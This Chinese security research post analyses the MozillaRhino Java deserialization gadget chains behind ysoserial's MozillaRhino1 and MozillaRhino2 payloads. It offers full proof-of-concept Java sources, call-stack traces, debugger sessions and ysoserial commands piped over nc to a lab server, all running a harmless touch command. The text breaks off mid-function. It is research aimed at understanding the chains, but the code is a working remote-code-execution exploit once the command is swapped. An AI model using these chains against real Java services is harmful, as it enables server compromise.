暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

MozillaRhino反序列化利用链

青衣十三楼飞花堂 2020-05-26
940

标题: MozillaRhino反序列化利用链

☆ 前言
☆ Serializable接口详解
   10) MozillaRhino反序列化漏洞
       10.1org.mozilla.javascript.NativeError
           10.1.0JacksonExploit.java
           10.1.1NativeErrorExec.java
           10.1.2) 简化版调用关系
           10.1.3NativeErrorExec2.java
           10.1.4) 调试器对被调试进程的挠动
           10.1.5ysoserial.payloads.MozillaRhino1
       10.2org.mozilla.javascript.NativeJavaObject
           10.2.1NativeJavaObjectExec.java
           10.2.2) 简化版调用关系
           10.2.3ysoserial.payloads.MozillaRhino2
           10.2.4NativeJavaObjectExec6.java
           10.2.5CVE-2019-6980(Zimbra)
☆ 参考资源

☆ 前言

本篇提供几个简版PoC以便调试分析MozillaRhino反序列化利用链。这大概是我见过的最复杂的两条利用链,对于Matthias Kaiser、An Trinh(tint0)非常服气。

基本没写文字分析。因为我深知,几乎所有的文字分析都是写的人在那里自言自语自嗨,只适合自己看,读的人要想整明白,需要的是完整的PoC及复现步骤,进而对之展开动态调试。

最佳入手方式是,先把PoC跑通,然后打个断点:

stop in java.lang.Runtime.exec(java.lang.String[])

最后查看调用栈回溯中的各层代码。当然,这只是其中一部分,有许多数据准备工作并不直接体现在前述调用栈回溯中,需要调试其他分支流程,去实践中领会精神吧。

☆ Serializable接口详解

10) MozillaRhino反序列化漏洞

10.1) org.mozilla.javascript.NativeError

参[89],Matthias Kaiser这篇"Return of the Rhino"是我最早接触的Java反序列化文章,大概是2019年11月。当时感觉每个字都认识,就是不知道在说啥,6个月后再次看到它,重读了一遍,这次懂了,学习之路不易。

PoC用到如下库:

js-1.7R2.jar
js-1.6R7.jar

10.1.0) JacksonExploit.java

同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。

/*
 * javac -encoding GBK -g -XDignore.symbol.file JacksonExploit.java
 *
 * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file"
 *
 * warning: AbstractTranslet is internal proprietary API and may be removed in a future release
 */

import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/*
 * 必须是public,否则不能成功执行命令
 */

public class JacksonExploit extends AbstractTranslet
{
    /*
     * 必须是public
     */

    public JacksonExploit ()
    
{
        try
        {
            System.out.println( "scz is here" );
            Runtime.getRuntime().exec( new String[] { "/bin/bash""-c""/bin/touch /tmp/scz_is_here" } );
        }
        catch ( IOException e )
        {
            e.printStackTrace();
        }
    }

    /*
     * 必须重载这两个抽象方法,否则编译时报错
     */

    @Override
    public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler )
    
{
    }

    @Override
    public void transform ( DOM document, SerializationHandler[] handler )
    
{
    }
}

10.1.1) NativeErrorExec.java

/*
 * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec.java
 */

import java.io.*;
import java.lang.reflect.*;
import javax.management.BadAttributeValueExpException;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;

public class NativeErrorExec
{
    /*
     * 参看TemplatesImplExec.java
     */

    private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception
    
{
        byte[]          evilbyte    = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
        TemplatesImpl   ti          = new TemplatesImpl();
        /*
         * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
         * _bytecodes得到执行,中途就会抛异常。
         */

        Field           _bytecodes  = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
        _bytecodes.setAccessible( true );
        _bytecodes.set( ti, new byte[][] { evilbyte }  );
        Field           _tfactory   = TemplatesImpl.class.getDeclaredField( "_tfactory" );
        _tfactory.setAccessible( true );
        _tfactory.set( ti, new TransformerFactoryImpl() );
        Field           _name       = TemplatesImpl.class.getDeclaredField( "_name" );
        _name.setAccessible( true );
        /*
         * 第二形参可以是任意字符串,比如空串,但不能是null
         */

        _name.set( ti, "" );
        return( ti );
    }  /* end of getTemplatesImpl */

    /*
     * 返回待序列化Object
     */

    @SuppressWarnings("unchecked")
    private static Object getObject ( String evilclass ) throws Exception
    
{
        /*
         * 不是public类,没法import
         */

        Class               clz_NativeError     = Class.forName( "org.mozilla.javascript.NativeError" );
        Constructor         cons_NativeError    = clz_NativeError.getDeclaredConstructor();
        cons_NativeError.setAccessible( true );
        /*
         * NativeError实例
         */

        ScriptableObject    ne                  = ( ScriptableObject )cons_NativeError.newInstance();
        Method              m_enter             = Context.class.getDeclaredMethod( "enter" );
        /*
         * 设置
         *
         * org.mozilla.javascript.MemberBox.memberObject
         * org.mozilla.javascript.NativeJavaMethod.methods[0]
         * org.mozilla.javascript.NativeJavaMethod.functionName
         */

        NativeJavaMethod    njm_enter           = new NativeJavaMethod( m_enter, "name" );
        /*
         * 用njm_enter设置
         *
         * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
         *
         * 对应"name"
         *
         * 这次只是占坑,后面会用mb_enter替换掉njm_enter
         */

        ne.setGetterOrSetter( "name"0, njm_enter, false );
        /*
         * private方法,不能直接调用
         */

        Method              m_getSlot           = ScriptableObject.class.getDeclaredMethod
        (
            "getSlot",
            String.class,
            int.class,
            int.class
        );
        m_getSlot.setAccessible( true );
        /*
         * SLOT_QUERY = 1
         */

        Object              slot                = m_getSlot.invoke( ne, "name"01 );
        Field               f_getter            = slot.getClass().getDeclaredField( "getter" );
        f_getter.setAccessible( true );
        /*
         * 无法直接import
         */

        Class               clz_MemberBox       = Class.forName( "org.mozilla.javascript.MemberBox" );
        Constructor         cons_MemberBox      = clz_MemberBox.getDeclaredConstructor( Method.class );
        cons_MemberBox.setAccessible( true );
        Object              mb_enter            = cons_MemberBox.newInstance( m_enter );
        /*
         * 用mb_enter设置
         *
         * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
         *
         * 对应"name"
         */

        f_getter.set( slot, mb_enter );
        Method              m_newTransformer    = TemplatesImpl.class.getDeclaredMethod( "newTransformer" );
        NativeJavaMethod    njm_newTransformer  = new NativeJavaMethod( m_newTransformer, "message" );
        /*
         * 用njm_newTransformer设置
         *
         * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
         *
         * 对应"message"
         *
         * 注意存在
         *
         * org.mozilla.javascript.ScriptableObject.slots[]
         *
         * 第一形参name不同,对应不同的slot
         */

        ne.setGetterOrSetter( "message"0, njm_newTransformer, false );
        TemplatesImpl       ti                  = getTemplatesImpl( evilclass );
        Context             context             = Context.enter();
        /*
         * 参看
         *
         * org.mozilla.javascript.ScriptRuntime.initStandardObjects()
         *
         * 下面这个强制类型转换成立,不要被函数原型中的返回值类型迷惑
         */

        NativeObject        no                  = ( NativeObject )context.initStandardObjects();
        NativeJavaObject    njo                 = new NativeJavaObject( no, ti, TemplatesImpl.class );
        /*
         * 用njo设置
         *
         * org.mozilla.javascript.ScriptableObject.prototypeObject
         */

        ne.setPrototype( njo );
        BadAttributeValueExpException
                            bave                = new BadAttributeValueExpException( null );
        Field               f_val               = bave.getClass().getDeclaredField( "val" );
        f_val.setAccessible( true );
        f_val.set( bave, ne );
        return( bave );
    }  /* end of getObject */

    public static void main ( String[] argv ) throws Exception
    
{
        String                  evilclass   = argv[0];
        Object                  obj         = getObject( evilclass );
        ByteArrayOutputStream   bos         = new ByteArrayOutputStream();
        ObjectOutputStream      oos         = new ObjectOutputStream( bos );
        oos.writeObject( obj );
        ByteArrayInputStream    bis         = new ByteArrayInputStream( bos.toByteArray() );
        ObjectInputStream       ois         = new ObjectInputStream( bis );
        ois.readObject();
    }
}

java \
-cp "js-1.7R2.jar:." \
NativeErrorExec JacksonExploit.class

抛出异常,但恶意代码已被执行。

JacksonExploit.class来自JacksonExploit.java。此次示例没有动用Javassist之类的东西动态生成JacksonExploit.class的等价物,萝卜白菜各有所爱,我不喜欢。

10.1.2) 简化版调用关系

ObjectInputStream.readObject                                // 8u232+1.7R2
  BadAttributeValueExpException.readObject                  // ObjectStreamClass:1170
    NativeError.toString                                    // BadAttributeValueExpException:86
                                                            // this.val = valObj.toString()
                                                            // 此处开始NativeError利用链
      NativeError.js_toString                               // NativeError:110
        NativeError.getString                               // NativeError:150
                                                            // getString(thisObj, "name")
          ScriptableObject.getProperty                      // NativeError:198
            IdScriptableObject.get                          // ScriptableObject:1617
              ScriptableObject.get                          // IdScriptableObject:387
                ScriptableObject.getImpl                    // ScriptableObject:287
                  MemberBox.invoke                          // ScriptableObject:2020
                                                            // nativeGetter.invoke(getterThis, args)
                    MemberBox.method                        // MemberBox:158
                                                            // method = method()
                      return (Method)this.memberObject      // MemberBox:91
                    Method.invoke                           // MemberBox:161
                                                            // method.invoke(target, args)
                      Context.enter
        NativeError.getString                               // NativeError:150
                                                            // getString(thisObj, "message")
          ScriptableObject.getProperty                      // NativeError:198
            IdScriptableObject.get                          // ScriptableObject:1617
              ScriptableObject.get                          // IdScriptableObject:387
                ScriptableObject.getImpl                    // ScriptableObject:287
                                                            // 此处与Matthias Kaiser原文不严格对应,但基本意思没变
                  Context.getContext                        // ScriptableObject:2023
                                                            // cx = Context.getContext()
                                                            // 如果前面没有执行Context.enter(),此函数中会抛异常
                  NativeJavaMethod.call                     // ScriptableObject:2024
                                                            // f.call(cx, f.getParentScope(), start, ScriptRuntime.emptyArgs)
                    MemberBox meth = this.methods[index]    // NativeJavaMethod:169
                    ScriptableObject.getPrototype           // NativeJavaMethod:240
                                                            // o = o.getPrototype()
                      return this.prototypeObject           // ScriptableObject:627
                    if ((o instanceof Wrapper))             // NativeJavaMethod:234
                                                            // o此时是NativeJavaObject实例,后者实现了Wrapper接口
                    NativeJavaObject.unwrap                 // NativeJavaMethod:235
                                                            // javaObject = ((Wrapper)o).unwrap()
                      return this.javaObject                // NativeJavaObject:188
                                                            // this.javaObject此时是TemplatesImpl实例
                    MemberBox.invoke                        // NativeJavaMethod:247
                                                            // retval = meth.invoke(javaObject, args)
                                                            // meth是MemberBox实例,封装了TemplatesImpl.newTransformer()
                      MemberBox.method                      // MemberBox:158
                                                            // method = method()
                        return (Method)this.memberObject    // MemberBox:91
                      Method.invoke                         // MemberBox:161
                                                            // method.invoke(target, args)
                        TemplatesImpl.newTransformer        // 此处开始TemplatesImpl利用链
                                                            // 由Adam Gowdiak最早提出

MozillaRhino1、MozillaRhino2两条利用链属于我看过的利用链中最复杂的那一批。Matthias Kaiser、An Trinh(tint0)对MozillaRhino太熟悉。

10.1.3) NativeErrorExec2.java

参[90],Twings对Matthias Kaiser的数据准备方案做了一处微小改动,前者没有调用Context.enter()、Context.initStandardObjects(),这个改动很赞。

/*
 * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeErrorExec2.java
 */

import java.io.*;
import java.lang.reflect.*;
import javax.management.BadAttributeValueExpException;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;

public class NativeErrorExec2
{
...
    /*
     * 返回待序列化Object
     */

    @SuppressWarnings("unchecked")
    private static Object getObject ( String evilclass ) throws Exception
    
{
...
        /*
         * 占坑用
         */

        ScriptableObject    ne2                 = ( ScriptableObject )cons_NativeError.newInstance();
        ( new ClassCache() ).associate( ne2 );
        NativeJavaObject    njo                 = new NativeJavaObject( ne2, ti, TemplatesImpl.class );
        /*
         * 用njo设置
         *
         * org.mozilla.javascript.ScriptableObject.prototypeObject
         */

        ne.setPrototype( njo );
...
    }  /* end of getObject */
...
}

10.1.4) 调试器对被调试进程的挠动

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp "js-1.7R2.jar:." \
NativeErrorExec JacksonExploit.class

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in org.mozilla.javascript.NativeJavaMethod.call

main[1] wherei
  [1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0
  [2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135
  [3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4
  [4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58
  [5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5
  [6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2
  [7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24
  [8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1
  [9] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97
  [10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
  [11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
  [12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
  [13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
  [14] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
  [15] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
  [16] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
  [17] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
  [18] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
  [19] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59
main[1] clear org.mozilla.javascript.NativeJavaMethod.call
main[1] up 4
main[5] print obj

你会发现"print obj"、"print start"导致目标JVM输出"scz is here"。如果前面没有清除NativeJavaMethod.call()处的断点,执行"print obj"、"print start"会再次命中NativeJavaMethod.call()处的断点:

main[1] wherei
  [1] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0
  [2] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135
  [3] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4
  [4] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58
  [5] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5
  [6] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2
  [7] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24
  [8] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1
  [9] org.mozilla.javascript.NativeJavaMethod.call (NativeJavaMethod.java:157), pc = 0
  [10] org.mozilla.javascript.ScriptableObject.getImpl (ScriptableObject.java:2,024), pc = 135
  [11] org.mozilla.javascript.ScriptableObject.get (ScriptableObject.java:287), pc = 4
  [12] org.mozilla.javascript.IdScriptableObject.get (IdScriptableObject.java:387), pc = 58
  [13] org.mozilla.javascript.ScriptableObject.getProperty (ScriptableObject.java:1,617), pc = 5
  [14] org.mozilla.javascript.NativeError.getString (NativeError.java:198), pc = 2
  [15] org.mozilla.javascript.NativeError.js_toString (NativeError.java:150), pc = 24
  [16] org.mozilla.javascript.NativeError.toString (NativeError.java:110), pc = 1
  [17] javax.management.BadAttributeValueExpException.readObject (BadAttributeValueExpException.java:86), pc = 97
  [18] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
  [19] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
  [20] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
  [21] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
  [22] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
  [23] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
  [24] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
  [25] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
  [26] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
  [27] NativeErrorExec.main (NativeErrorExec.java:156), pc = 59

"print obj"会调用NativeError.toString(),会再次触发NativeError利用链。如果用Eclipse等GUI工具调试,查看调用栈回溯时,一旦选中obj、start这些变量,立即触发obj.toString(),比jdb更坑爹。

10.1.5) ysoserial.payloads.MozillaRhino1

参[52]

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino1.java

这是Matthias Kaiser提供的。

java \
-cp "js-1.7R2.jar:." \
VulnerableServer 192.168.65.23 1314

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino1 \
'/bin/touch /tmp/scz_is_here' \
| nc -n 192.168.65.23 1314

抛出异常,但恶意代码已被执行。

10.2) org.mozilla.javascript.NativeJavaObject

10.2.1) NativeJavaObjectExec.java

/*
 * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.7R2.jar" NativeJavaObjectExec.java
 */

import java.io.*;
import java.lang.reflect.*;
import sun.reflect.ReflectionFactory;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;

public class NativeJavaObjectExec
{
    /*
     * 参看TemplatesImplExec.java
     */

    private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception
    
{
        byte[]          evilbyte    = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
        TemplatesImpl   ti          = new TemplatesImpl();
        /*
         * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
         * _bytecodes得到执行,中途就会抛异常。
         */

        Field           _bytecodes  = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
        _bytecodes.setAccessible( true );
        _bytecodes.set( ti, new byte[][] { evilbyte }  );
        Field           _tfactory   = TemplatesImpl.class.getDeclaredField( "_tfactory" );
        _tfactory.setAccessible( true );
        _tfactory.set( ti, new TransformerFactoryImpl() );
        Field           _name       = TemplatesImpl.class.getDeclaredField( "_name" );
        _name.setAccessible( true );
        /*
         * 第二形参可以是任意字符串,比如空串,但不能是null
         */

        _name.set( ti, "" );
        return( ti );
    }  /* end of getTemplatesImpl */

    /*
     * 返回待序列化Object
     */

    @SuppressWarnings("unchecked")
    private static Object getObject ( String evilclass ) throws Exception
    
{
        Method              m_enter             = Context.class.getDeclaredMethod( "enter" );
        /*
         * 无法直接import
         */

        Class               clz_MemberBox       = Class.forName( "org.mozilla.javascript.MemberBox" );
        Constructor         cons_MemberBox      = clz_MemberBox.getDeclaredConstructor( Method.class );
        cons_MemberBox.setAccessible( true );
        Object              mb_enter            = cons_MemberBox.newInstance( m_enter );
        Method              m_accessSlot        = ScriptableObject.class.getDeclaredMethod
        (
            "accessSlot",
            String.class,
            int.class,
            int.class
        );
        m_accessSlot.setAccessible( true );
        /*
         * public类,可以直接import
         */

        ScriptableObject    env_0               = ( ScriptableObject )new Environment();
        /*
         * 参org.mozilla.javascript.ScriptableObject
         *
         * SLOT_QUERY = 1
         * SLOT_MODIFY = 2
         * SLOT_MODIFY_GETTER_SETTER = 4
         *
         * 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占
         * 坑,而是调用accessSlot()占坑
         */

        Object              slot                = m_accessSlot.invoke( env_0, "foo"04 );
        Field               f_getter            = slot.getClass().getDeclaredField( "getter" );
        f_getter.setAccessible( true );
        /*
         * 用mb_enter设置
         *
         * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
         *
         * 对应"foo"
         */

        f_getter.set( slot, mb_enter );
        /*
         * 占坑用
         */

        ScriptableObject    env_dummy           = ( ScriptableObject )new Environment();
        /*
         * 没有用tint0的方案,此处用了Twings的方案,后者简洁明了
         */

        ( new ClassCache() ).associate( env_dummy );
        NativeJavaObject    njo_0               = new NativeJavaObject( env_dummy, env_0, Environment.class, true );
        Method              m_writeAdapterObject
                                                = NativeJavaObjectExec.class.getDeclaredMethod
        (
            "PrivateWriteAdapterObject",
            Object.class,
            ObjectOutputStream.class
        );
        Field               f_writeAdapterObject
                                                = NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" );
        f_writeAdapterObject.setAccessible( true );
        /*
         * 反序列化时NativeJavaObject.adapter_readAdapterObject被设置成
         *
         * org.mozilla.javascript.JavaAdapter.readAdapterObject()
         *
         * 至此序列化出去的njo_0在反序列化时会触发Context.enter()
         */

        f_writeAdapterObject.set( njo_0, m_writeAdapterObject );
        ScriptableObject    env_1               = ( ScriptableObject )new Environment();
        /*
         * 用env_1封装njo_0,就是找个成员变量存放njo_0
         *
         * 设置this.parentScopeObject
         */

        env_1.setParentScope( njo_0 );
        /*
         * SLOT_MODIFY = 2
         */

        m_accessSlot.invoke( env_1, "outputProperties"02 );
        TemplatesImpl       ti                  = getTemplatesImpl( evilclass );
        /*
         * NativeJavaArray是NativeJavaObject的子类。
         *
         * 此处用了ysoserial.payloads.JRMPListener展示过的一个技巧,调用父
         * 类构造函数生成子类实例。我不喜欢tint0原来的实现。
         */

        Constructor<?>      cons_NativeJavaObject
                                                = NativeJavaObject.class.getDeclaredConstructor
        (
            Scriptable.class,
            Object.class,
            Class.class
        );
        Constructor<?>      cons_NativeJavaArray
                                                = ReflectionFactory.getReflectionFactory().newConstructorForSerialization
        (
            NativeJavaArray.class,
            cons_NativeJavaObject
        );
        NativeJavaArray     nja                 = ( NativeJavaArray )cons_NativeJavaArray.newInstance
        (
            env_dummy,
            ti,
            TemplatesImpl.class
        );
        /*
         * 用nja封装env_1,就是找个成员变量存放env_1
         *
         * 设置this.prototype
         */

        nja.setPrototype( env_1 );
        NativeJavaObject    njo_1               = new NativeJavaObject( env_dummy, nja, NativeJavaArray.class, true );
        f_writeAdapterObject.set( njo_1, m_writeAdapterObject );
        return( njo_1 );
    }  /* end of getObject */

    /*
     * 必须是public的,否则序列化时就抛异常。参看
     *
     * org.mozilla.javascript.JavaAdapter.writeAdapterObject()
     */

    public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException
    
{
        out.writeObject( "java.lang.Object" );
        out.writeObject( new String[0] );
        out.writeObject( javaObject );
    }

    public static void main ( String[] argv ) throws Exception
    
{
        String                  evilclass   = argv[0];
        Object                  obj         = getObject( evilclass );
        ByteArrayOutputStream   bos         = new ByteArrayOutputStream();
        ObjectOutputStream      oos         = new ObjectOutputStream( bos );
        oos.writeObject( obj );
        ByteArrayInputStream    bis         = new ByteArrayInputStream( bos.toByteArray() );
        ObjectInputStream       ois         = new ObjectInputStream( bis );
        ois.readObject();
    }
}

java \
-cp "js-1.7R2.jar:." \
NativeJavaObjectExec JacksonExploit.class

抛出异常,但恶意代码已被执行。

10.2.2) 简化版调用关系

感觉MozillaRhino2比MozillaRhino1更复杂,尤其当你想搞清楚来龙去脉时。

ObjectInputStream.readObject                                // 8u232+1.7R2
                                                            // 读njo_1
  NativeJavaObject.readObject                               // ObjectStreamClass:1170
    JavaAdapter.readAdapterObject                           // NativeJavaObject:940
      ObjectInputStream.readObject                          // JavaAdapter:260
        NativeJavaObject.readObject                         // NativeJavaArray是NativeJavaObject的子类
          ObjectInputStream.defaultReadObject               // NativeJavaObject:932
            ScriptableObject.readObject                     // this是Environment实例,对应env_1
              ObjectInputStream.defaultReadObject           // ScriptableObject:2496
                NativeJavaObject.readObject                 // this是NativeJavaObject实例,对应njo_0
                  JavaAdapter.readAdapterObject             // NativeJavaObject:940
                    ObjectInputStream.readObject            // JavaAdapter:260
                                                            // 读env_0
                    JavaAdapter.getAdapterClass             // JavaAdapter:262
                      JavaAdapter.getObjectFunctionNames    // JavaAdapter:311
                        ScriptableObject.getProperty        // JavaAdapter:290
                          Environment.get                   // ScriptableObject:1617
                            ScriptableObject.get            // Environment:104
                              ScriptableObject.getImpl      // ScriptableObject:287
                                MemberBox.invoke            // ScriptableObject:2020
                                  Method.invoke             // MemberBox:161
                                    Context.enter
          ObjectInputStream.readObject                      // NativeJavaObject:945
                                                            // 读ti,设置nja.javaObject
      JavaAdapter.getAdapterClass                           // JavaAdapter:262
        JavaAdapter.getObjectFunctionNames                  // JavaAdapter:311
          ScriptableObject.getProperty                      // JavaAdapter:290
            NativeJavaArray.get                             // ScriptableObject:1617
              NativeJavaObject.get                          // NativeJavaArray:99
                JavaMembers.get                             // NativeJavaObject:113
                  MemberBox.invoke                          // JavaMembers:118
                    Method.invoke                           // MemberBox:161
                      TemplatesImpl.getOutputProperties
                        TemplatesImpl.newTransformer        // TemplatesImpl:507
                                                            // 此处开始TemplatesImpl利用链
                                                            // 由Adam Gowdiak最早提出

JavaAdapter.getAdapterClass()、ScriptableObject.getProperty()会触发Method.invoke()。

NativeJavaObject.、NativeJavaObject.readObject()中均会调用NativeJavaObject.initMembers()。

10.2.3) ysoserial.payloads.MozillaRhino2

参[52]

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino2.java

这是An Trinh(tint0)提供的。

java \
-cp "js-1.7R2.jar:." \
VulnerableServer 192.168.65.23 1314

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino2 \
'/bin/touch /tmp/scz_is_here' \
| nc -n 192.168.65.23 1314

抛出异常,但恶意代码已被执行。

10.2.4) NativeJavaObjectExec6.java

tint0说MozillaRhino2利用链适用于1.6R6及以上版本,本小节用1.6R7测试。

/*
 * javac -encoding GBK -g -XDignore.symbol.file -cp "js-1.6R7.jar" NativeJavaObjectExec6.java
 */

import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import sun.reflect.ReflectionFactory;
import java.nio.file.Files;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;

public class NativeJavaObjectExec6
{
    /*
     * 参看TemplatesImplExec.java
     */

    private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception
    
{
        byte[]          evilbyte    = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
        TemplatesImpl   ti          = new TemplatesImpl();
        /*
         * 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
         * _bytecodes得到执行,中途就会抛异常。
         */

        Field           _bytecodes  = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
        _bytecodes.setAccessible( true );
        _bytecodes.set( ti, new byte[][] { evilbyte }  );
        Field           _tfactory   = TemplatesImpl.class.getDeclaredField( "_tfactory" );
        _tfactory.setAccessible( true );
        _tfactory.set( ti, new TransformerFactoryImpl() );
        Field           _name       = TemplatesImpl.class.getDeclaredField( "_name" );
        _name.setAccessible( true );
        /*
         * 第二形参可以是任意字符串,比如空串,但不能是null
         */

        _name.set( ti, "" );
        return( ti );
    }  /* end of getTemplatesImpl */

    /*
     * 返回待序列化Object
     */

    @SuppressWarnings("unchecked")
    private static Object getObject ( String evilclass ) throws Exception
    
{
        Method              m_enter             = Context.class.getDeclaredMethod( "enter" );
        /*
         * 无法直接import
         */

        Class               clz_MemberBox       = Class.forName( "org.mozilla.javascript.MemberBox" );
        Constructor         cons_MemberBox      = clz_MemberBox.getDeclaredConstructor( Method.class );
        cons_MemberBox.setAccessible( true );
        Object              mb_enter            = cons_MemberBox.newInstance( m_enter );
        Method              m_accessSlot        = ScriptableObject.class.getDeclaredMethod
        (
            "accessSlot",
            String.class,
            int.class,
            int.class
        );
        m_accessSlot.setAccessible( true );
        /*
         * public类,可以直接import
         */

        ScriptableObject    env_0               = ( ScriptableObject )new Environment();
        /*
         * 参org.mozilla.javascript.ScriptableObject
         *
         * SLOT_QUERY = 1
         * SLOT_MODIFY = 2
         * SLOT_MODIFY_GETTER_SETTER = 4
         *
         * 与MozillaRhino1不同,MozillaRhino2没有调用setGetterOrSetter()占
         * 坑,而是调用accessSlot()占坑
         */

        Object              slot                = m_accessSlot.invoke( env_0, "foo"04 );
        Field               f_getter            = slot.getClass().getDeclaredField( "getter" );
        f_getter.setAccessible( true );
        /*
         * 用mb_enter设置
         *
         * org.mozilla.javascript.ScriptableObject$GetterSlot.getter
         *
         * 对应"foo"
         */

        f_getter.set( slot, mb_enter );
        /*
         * 占坑用
         */

        ScriptableObject    env_dummy           = ( ScriptableObject )new Environment();

        /*
         * 这是Twings的方案,简洁明了
         */

        ( new ClassCache() ).associate( env_dummy );

        /*
         * 这是tint0的方案,测试可用
         */

        // Map                 associatedValues    = new Hashtable();
        // associatedValues.put( "ClassCache", new ClassCache() );
        // Field               f_associatedValues  = ScriptableObject.class.getDeclaredField( "associatedValues" );
        // f_associatedValues.setAccessible( true );
        // f_associatedValues.set( env_dummy, associatedValues );

        Method              m_writeAdapterObject
                                                = NativeJavaObjectExec6.class.getDeclaredMethod
        (
            "PrivateWriteAdapterObject",
            Object.class,
            ObjectOutputStream.class
        );
        NativeJavaObject    njo_0               = PrivateInitNativeJavaObject
        (
            env_dummy,
            env_0,
            true,
            m_writeAdapterObject
        );
        ScriptableObject    env_1               = ( ScriptableObject )new Environment();
        /*
         * 用env_1封装njo_0,就是找个成员变量存放njo_0
         *
         * 设置this.parentScopeObject
         */

        env_1.setParentScope( njo_0 );
        /*
         * SLOT_MODIFY = 2
         */

        m_accessSlot.invoke( env_1, "outputProperties"02 );
        TemplatesImpl       ti                  = getTemplatesImpl( evilclass );
        NativeJavaArray     nja                 = PrivateInitNativeJavaArray
        (
            env_dummy,
            ti,
            env_1
        );
        NativeJavaObject    njo_1               = PrivateInitNativeJavaObject
        (
            env_dummy,
            nja,
            true,
            m_writeAdapterObject
        );
        return( njo_1 );
    }  /* end of getObject */

    private static NativeJavaArray PrivateInitNativeJavaArray
    (
